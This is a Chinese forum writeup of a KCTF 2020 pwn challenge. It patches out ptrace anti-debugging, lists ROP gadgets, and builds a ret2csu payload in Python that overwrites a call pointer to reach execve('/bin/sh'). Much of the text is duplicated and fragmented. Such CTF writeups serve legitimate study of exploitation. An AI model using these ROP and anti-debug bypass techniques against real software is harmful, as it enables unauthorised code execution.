-
-
[原创]看雪2020 KCTF秋季赛 第九题 命悬一线writeup
-
发表于: 2020-12-8 19:08 7683
-
命悬一线?PWN!
命悬一线?PWN!
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# checksec pwn1
[
*
]
'/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# checksec pwn1
[
*
]
'/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
# (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h) 查看系统调用号
sub_400CA8()有ptrace反调试,patch处理掉。
init_array中调用到sub_400E08()时,可以看到检查了sub_400E82()的结果,而sub_400E82()中原逻辑为返回TracerPid。如果检查不通过的话,系统调用sub_4017CC()方法将被更改...。解决方法有很多,我这边是在sub_400E82()中patch返回值为
0
,绕过检查。
# (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h) 查看系统调用号
sub_400CA8()有ptrace反调试,patch处理掉。
init_array中调用到sub_400E08()时,可以看到检查了sub_400E82()的结果,而sub_400E82()中原逻辑为返回TracerPid。如果检查不通过的话,系统调用sub_4017CC()方法将被更改...。解决方法有很多,我这边是在sub_400E82()中patch返回值为
0
,绕过检查。
# 0x000000000040185b最长最牛,我们去他附近找找。
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0x000000000040185c
: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185e
: pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401860
: pop r14 ; pop r15 ; ret
0x0000000000401862
: pop r15 ; ret
0x000000000040185b
: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185f
: pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400a20
: pop rbp ; ret
0x0000000000400b60
: pop rbx ; pop rbp ; ret
0x0000000000401863
: pop rdi ; ret
0x0000000000401861
: pop rsi ; pop r15 ; ret
0x000000000040185d
: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028c
: ret
0x0000000000401757
: ret
0x1be
0x0000000000400c32
: ret
0x458b
0x0000000000400f07
: ret
0x858b
0x0000000000400c55
: ret
0x8b48
0x0000000000400da5
: ret
0xbe
# 0x000000000040185b最长最牛,我们去他附近找找。
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0x000000000040185c
: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185e
: pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401860
: pop r14 ; pop r15 ; ret
0x0000000000401862
: pop r15 ; ret
0x000000000040185b
: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185f
: pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400a20
: pop rbp ; ret
0x0000000000400b60
: pop rbx ; pop rbp ; ret
0x0000000000401863
: pop rdi ; ret
0x0000000000401861
: pop rsi ; pop r15 ; ret
0x000000000040185d
: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028c
: ret
0x0000000000401757
: ret
0x1be
0x0000000000400c32
: ret
0x458b
0x0000000000400f07
: ret
0x858b
0x0000000000400c55
: ret
0x8b48
0x0000000000400da5
: ret
0xbe
经过测试,我们运行输入一段长度溢出的数据,动态调试断点执行到
0x40169E
,可以发现另一个利用点。总结一下就是,程序会把栈上一个地址的值保存到rax寄存器中,通过一番简单的赋值操作可以call一个指针指向的地址。而保存在栈上这个值是我们可以溢出覆盖到的,那么就意味着我们可以通过控制该值来调用任意一个指针指向的地址。如果能找到一个合适的指针就好了,该指针指向的任意地址也可以由我们控制,那就简单了。
经过测试,我们运行输入一段长度溢出的数据,动态调试断点执行到
0x40169E
,可以发现另一个利用点。总结一下就是,程序会把栈上一个地址的值保存到rax寄存器中,通过一番简单的赋值操作可以call一个指针指向的地址。而保存在栈上这个值是我们可以溢出覆盖到的,那么就意味着我们可以通过控制该值来调用任意一个指针指向的地址。如果能找到一个合适的指针就好了,该指针指向的任意地址也可以由我们控制,那就简单了。
仔细观察同学们可以发现,
0x6020C0
完全满足我们的要求,该指针地址保存了我们所有的输入,而这些输入的数据我们都可以控制。
仔细观察同学们可以发现,
0x6020C0
完全满足我们的要求,该指针地址保存了我们所有的输入,而这些输入的数据我们都可以控制。
# call execve 系统调用号为59 ,控制后两个参数为0
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
# call execve 系统调用号为59 ,控制后两个参数为0
root@ubuntu:
/
mnt
/
hgfs
/
ShareDir
/
ctf
/
pwn1
# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
# payload构造如下,常规的通用gadget利用方式不细说了,点上文传送阵学习,这里提一个点,需要一点小窍门绕过去
def
csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload
=
''
payload
+
=
p64(rbx)
+
p64(rbp)
+
p64(r12)
+
p64(r13)
+
p64(r14)
+
p64(r15)
payload
+
=
p64(csu_front_addr)
payload
+
=
'/bin/sh\x00'
+
'A'
*
0x28
payload
+
=
p64(last)
return
payload
# 就是execve需要三个参数,而我们此时只能控制两个参数(常规通用gadget方式只能控制rdi、rsi、rdx三个寄存器,无法控制rcx)
# 调用号 rdi=edi=r15d=59 call execve
# 第一个参数rsi = r14 = 0x602120 (保存了/bin/sh)
# 第二个参数rdx = r13 = 0
# !!我们这里需要控制第三个参数 rcx = 0 才能满足execve("/bin/sh", NULL, NULL)的条件
# 解决办法就是在内存中找到一个地址是# xor rcx, rcx; ret; 构造变形一下通用gadget的利用方式 在调用execve前 使rcx为0
syscall
=
0x4017CC
payload
=
p64(syscall)
+
p64(csu_end_addr)
+
'A'
*
8
payload
+
=
p64(xor_rcx_ret_addr)
+
p64(csu_end_addr)
payload
+
=
csu(
0
,
1
,
0x6020C0
,
0
,
0x602120
,
59
, main_addr)
payload
+
=
'A'
*
8
payload
+
=
p64(
0x6020C8
-
0x18
)
# payload构造如下,常规的通用gadget利用方式不细说了,点上文传送阵学习,这里提一个点,需要一点小窍门绕过去
def
csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload
=
''
payload
+
=
p64(rbx)
+
p64(rbp)
+
p64(r12)
+
p64(r13)
+
p64(r14)
+
p64(r15)
payload
+
=
p64(csu_front_addr)
payload
+
=
'/bin/sh\x00'
+
'A'
*
0x28
payload
+
=
p64(last)
return
payload
# 就是execve需要三个参数,而我们此时只能控制两个参数(常规通用gadget方式只能控制rdi、rsi、rdx三个寄存器,无法控制rcx)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2022-7-27 01:16
心游尘世外
为你点赞~
2022-7-26 23:03
飘零丶
为你点赞~
2022-7-17 02:46
wmsuper
为你点赞~
2020-12-13 17:15
wsc
为你点赞~
2020-12-9 17:19
赞赏
看原图
赞赏
雪币:
留言: